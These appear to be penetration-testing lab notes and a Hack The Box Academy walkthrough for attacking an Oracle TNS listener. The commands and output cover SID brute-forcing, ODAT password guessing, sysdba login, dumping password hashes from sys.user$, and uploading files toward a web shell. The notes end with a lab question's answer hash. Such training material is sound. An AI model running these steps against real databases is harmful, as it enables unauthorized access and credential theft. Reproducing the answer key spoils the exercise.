# Oracle TNS \[1521]
Packages to Install Before Enumeration of TNS Listener Before we can enumerate the TNS listener and interact with it, we need to download a few packages and tools for our `Pwnbox` instance in case it does not have these already. Here is a Bash script that does all of that: **Oracle-Tools-setup.sh** ```bash #!/bin/bash sudo apt-get install libaio1 python3-dev alien -y git clone https://github.com/quentinhardy/odat.git cd odat/ git submodule init git submodule update wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH export PATH=$LD_LIBRARY_PATH:$PATH pip3 install cx_Oracle sudo apt-get install python3-scapy -y sudo pip3 install colorlog termcolor passlib python-libnmap sudo apt-get install build-essential libgmp-dev -y pip3 install pycryptodome ```
Test Installation Status (ODAT) After that, we can try to determine if the installation was successful by running the following command: **Testing ODAT** ```shell-session z3tssu@htb[/htb]$ ./odat.py -h usage: odat.py [-h] [--version] {all,tnscmd,tnspoison,sidguesser,snguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean} ... _ __ _ ___ / \| \ / \|_ _| ( o ) o ) o || | \_/|__/|_n_||_| ------------------------------------------- _ __ _ ___ / \ | \ / \ |_ _| ( o ) o ) o | | | \_/racle |__/atabase |_n_|ttacking |_|ool ------------------------------------------- By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com) ...SNIP... ``` Oracle Database Attacking Tool (`ODAT`) is an open-source penetration testing tool written in Python and designed to enumerate and exploit vulnerabilities in Oracle databases. It can be used to identify and exploit various security flaws in Oracle databases, including SQL injection, remote code execution, and privilege escalation.
Nmap Oracle TNS Scan ```bash z3tssu@htb[/htb]$ sudo nmap -p1521 -sV 10.129.204.235 --open Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 10:59 EST Nmap scan report for 10.129.204.235 Host is up (0.0041s latency). PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds ``` We can see that the port is open, and the service is running. In Oracle RDBMS, a System Identifier (`SID`) is a unique name that identifies a particular database instance. It can have multiple instances, each with its own System ID. An instance is a set of processes and memory structures that interact to manage the database's data. When a client connects to an Oracle database, it specifies the database's `SID` along with its connection string. The client uses this SID to identify which database instance it wants to connect to. Suppose the client does not specify a SID. Then, the default value defined in the `tnsnames.ora` file is used. The SIDs are an essential part of the connection process, as it identifies the specific instance of the database the client wants to connect to. If the client specifies an incorrect SID, the connection attempt will fail. Database administrators can use the SID to monitor and manage the individual instances of a database. For example, they can start, stop, or restart an instance, adjust its memory allocation or other configuration parameters, and monitor its performance using tools like Oracle Enterprise Manager.
Nmap - SID Bruteforcing There are various ways to enumerate, or better said, guess SIDs. Therefore we can use tools like `nmap`, `hydra`, `odat`, and others. Let us use `nmap` first. **Nmap - SID Bruteforcing** Oracle TNS ```bash z3tssu@htb[/htb]$ sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 11:01 EST Nmap scan report for 10.129.204.235 Host is up (0.0044s latency). PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) | oracle-sid-brute: |_ XE Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 55.40 seconds ```
ODAT - Enumerate ```bash z3tssu@htb[/htb]$ ./odat.py all -s 10.129.204.235 [+] Checking if target 10.129.204.235:1521 is well configured for a connection... [+] According to a test, the TNS listener 10.129.204.235:1521 is well configured. Continue... ...SNIP... [!] Notice: 'mdsys' account is locked, so skipping this username for password #####################| ETA: 00:01:16 [!] Notice: 'oracle_ocm' account is locked, so skipping this username for password #####################| ETA: 00:01:05 [!] Notice: 'outln' account is locked, so skipping this username for password #####################| ETA: 00:00:59 [+] Valid credentials found: scott/tiger. Continue... ...SNIP... ``` In this example, we found valid credentials for the user `scott` and his password `tiger`. After that, we can use the tool `sqlplus` to connect to the Oracle database and interact with it.
SQLplus - Log In (Once you have found a login - ) we can use the tool `sqlplus` to connect to the Oracle database and interact with it. ```bash z3tssu@htb[/htb]$ sqlplus scott/tiger@10.129.204.235/XE SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:19:21 2023 Version 21.4.0.0.0 Copyright (c) 1982, 2021, Oracle. All rights reserved. ERROR: ORA-28002: the password will expire within 7 days Connected to: Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production SQL> ```
What to do when you have errors If you come across the following error `sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory`, please execute the below, taken from [here](https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared). Oracle TNS {% code overflow="wrap" %} ```bash z3tssu@htb[/htb]$ sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig ``` {% endcode %}
Interaction with Oracle RDBMS There are many [SQLplus commands](https://docs.oracle.com/cd/E11882_01/server.112/e41085/sqlqraa001.htm#SQLQR985) that we can use to enumerate the database manually. For example, we can list all available tables in the current database or show us the privileges of the current user like the following: **Oracle RDBMS - Interaction** ```shell-session SQL> select table_name from all_tables; TABLE_NAME ------------------------------ DUAL SYSTEM_PRIVILEGE_MAP TABLE_PRIVILEGE_MAP STMT_AUDIT_OPTION_MAP AUDIT_ACTIONS WRR$_REPLAY_CALL_FILTER HS_BULKLOAD_VIEW_OBJ HS$_PARALLEL_METADATA HS_PARTITION_COL_NAME HS_PARTITION_COL_TYPE HELP ...SNIP... SQL> select * from user_role_privs; USERNAME GRANTED_ROLE ADM DEF OS_ ------------------------------ ------------------------------ --- --- --- SCOTT CONNECT NO YES NO SCOTT RESOURCE NO YES NO ``` Here, the user `scott` has no administrative privileges. However, we can try using this account to log in as the System Database Admin (`sysdba`), giving us higher privileges. This is possible when the user `scott` has the appropriate privileges typically granted by the database administrator or used by the administrator him/herself.
Oracle RDBMS - Database Enumeration ```bash z3tssu@htb[/htb]$ sqlplus scott/tiger@10.129.204.235/XE as sysdba SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:32:58 2023 Version 21.4.0.0.0 Copyright (c) 1982, 2021, Oracle. All rights reserved. Connected to: Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production SQL> select * from user_role_privs; USERNAME GRANTED_ROLE ADM DEF OS_ ------------------------------ ------------------------------ --- --- --- SYS ADM_PARALLEL_EXECUTE_TASK YES YES NO SYS APEX_ADMINISTRATOR_ROLE YES YES NO SYS AQ_ADMINISTRATOR_ROLE YES YES NO SYS AQ_USER_ROLE YES YES NO SYS AUTHENTICATEDUSER YES YES NO SYS CONNECT YES YES NO SYS CTXAPP YES YES NO SYS DATAPUMP_EXP_FULL_DATABASE YES YES NO SYS DATAPUMP_IMP_FULL_DATABASE YES YES NO SYS DBA YES YES NO SYS DBFS_ROLE YES YES NO USERNAME GRANTED_ROLE ADM DEF OS_ ------------------------------ ------------------------------ --- --- --- SYS DELETE_CATALOG_ROLE YES YES NO SYS EXECUTE_CATALOG_ROLE YES YES NO ...SNIP... ``` We can follow many approaches once we get access to an Oracle database. It highly depends on the information we have and the entire setup. However, we can not add new users or make any modifications.
Oracle RDBMS - Extract Password Hashes From this point, we could retrieve the password hashes from the `sys.user$` and try to crack them offline. The query for this would look like the following: ```bash SQL> select name, password from sys.user$; NAME PASSWORD ------------------------------ ------------------------------ SYS FBA343E7D6C8BC9D PUBLIC CONNECT RESOURCE DBA SYSTEM B5073FE1DE351687 SELECT_CATALOG_ROLE EXECUTE_CATALOG_ROLE DELETE_CATALOG_ROLE OUTLN 4A3BA55E08595C81 EXP_FULL_DATABASE NAME PASSWORD ------------------------------ ------------------------------ IMP_FULL_DATABASE LOGSTDBY_ADMINISTRATOR ...SNIP. ```
Oracle RDBMS - File Upload Another option is to upload a web shell to the target. However, this requires the server to run a web server, and we need to know the exact location of the root directory for the webserver. Nevertheless, if we know what type of system we are dealing with, we can try the default paths, which are: | **OS** | **Path** | | ------- | -------------------- | | Linux | `/var/www/html` | | Windows | `C:\inetpub\wwwroot` | First, trying our exploitation approach with files that do not look dangerous for Antivirus or Intrusion detection/prevention systems is always important. Therefore, we create a text file with a string and use it to upload to the target system. **Oracle RDBMS - File Upload** ```bash z3tssu@htb[/htb]$ echo "Oracle File Upload Test" > testing.txt z3tssu@htb[/htb]$ ./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt [1] (10.129.204.235:1521): Put the ./testing.txt local file in the C:\inetpub\wwwroot folder like testing.txt on the 10.129.204.235 server [+] The ./testing.txt file was created on the C:\inetpub\wwwroot directory on the 10.129.204.235 server like the testing.txt file ``` Finally, we can test if the file upload approach worked with `curl`. Therefore, we will use a `GET http://` request, or we can visit via browser.
HTB Guide ## Oracle TNS ### Question 1 #### "Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer." After spawning the target machine, students first need to download the required packages: Code: shell ```shell wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip sudo mkdir -p /opt/oracle sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH export PATH=$LD_LIBRARY_PATH:$PATH source ~/.bashrc cd ~ git clone https://github.com/quentinhardy/odat.git cd odat/ pip install python-libnmap git submodule init git submodule update pip3 install cx_Oracle sudo apt-get install python3-scapy -y sudo pip3 install colorlog termcolor passlib python-libnmap sudo apt-get install build-essential libgmp-dev -y pip3 install pycryptodome ``` Oracle TNS ```shell-session ┌─[eu-academy-5]─[10.10.14.97]─[htb-ac-8414@htb-ysmlyx7eba]─[~] └──╼ [★]$ wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip sudo mkdir -p /opt/oracle sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH export PATH=$LD_LIBRARY_PATH:$PATH source ~/.bashrc cd ~ git clone https://github.com/quentinhardy/odat.git cd odat/ pip install python-libnmap git submodule init git submodule update pip3 install cx_Oracle sudo apt-get install python3-scapy -y sudo pip3 install colorlog termcolor passlib python-libnmap sudo apt-get install build-essential libgmp-dev -y pip3 install pycryptodome ``` Subsequently, students need to use `odat.py` to enumerate the Oracle database services (providing the option `c` when prompted to continue and then `s` after attaining credentials): Code: shell ```shell python3 odat.py all -s STMIP ``` Oracle TNS ```shell-session ┌─[us-academy-1]─[10.10.14.91]─[htb-ac-413848@htb-qkf0vmr2o8]─[~/odat] └──╼ [★]$ python3 odat.py all -s 10.129.19.130 [+] Checking if target 10.129.19.130:1521 is well configured for a connection... [+] According to a test, the TNS listener 10.129.19.130:1521 is well configured. Continue... [2] (10.129.19.130:1521): Searching valid SIDs [2.1] Searching valid SIDs thanks to a well known SID list on the 10.129.19.130:1521 server [+] 'XE' is a valid SID. Continue... ############################################################### | ETA: 00:00:01 The login cis has already been tested at least once. What do you want to do: | ETA: 00:06:57 - stop (s/S) - continue and ask every time (a/A) - skip and continue to ask (p/P) - continue without to ask (c/C) c [!] Notice: 'oracle_ocm' account is locked, so skipping this username for password | ETA: 00:03:43 [!] Notice: 'outln' account is locked, so skipping this username for password##### | ETA: 00:03:20 [+] Valid credentials found: scott/tiger. Continue... ######################################### | ETA: 00:01:48 [!] Notice: 'xdb' account is locked, so skipping this username for password############################################# | ETA: 00:00:21 100% |#######################################################################################################################| Time: 00:08:56 [+] Accounts found on 10.129.19.130:1521/sid:XE: scott/tiger [5] (10.129.19.130:1521): Searching valid accounts on the XEXDB Service Name The login abm has already been tested at least once. What do you want to do: | ETA: --:--:-- - stop (s/S) - continue and ask every time (a/A) - skip and continue to ask (p/P) - continue without to ask (c/C) s 100% |#######################################################################################################################| Time: 00:00:09 ``` Using the found credentials `scott/tiger`, students need to connect to the database on `STMIP` with `sqlplus` as `sysdba`, utilizing the `Oracle Express Edition` (`XE`) `service identifier`: Code: shell ```shell sqlplus scott/tiger@STMIP/XE as sysdba ``` Oracle TNS ```shell-session ┌─[us-academy-2]─[10.10.15.12]─[htb-ac-594497@htb-pe4uhikext]─[~/odat] └──╼ [★]$ sqlplus scott/tiger@10.129.8.92/XE as sysdba SQL*Plus: Release 19.0.0.0.0 - Production on Wed Mar 29 19:06:12 2023 Version 19.6.0.0.0 Copyright (c) 1982, 2019, Oracle. All rights reserved. Connected to: Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production SQL> ``` At last, when retrieving the password hashes from the `sys.user$` table, students will attain the password `E066D214D5421CCC` for the user `DBSNMP`: Code: sql ```sql select name, password from sys.user$ where name = 'DBSNMP'; ``` Code: sql ```sql SQL> select name, password from sys.user$ where name = 'DBSNMP'; NAME PASSWORD ------------------------------ ------------------------------ DBSNMP E066D214D5421CCC ``` Answer: {hidden}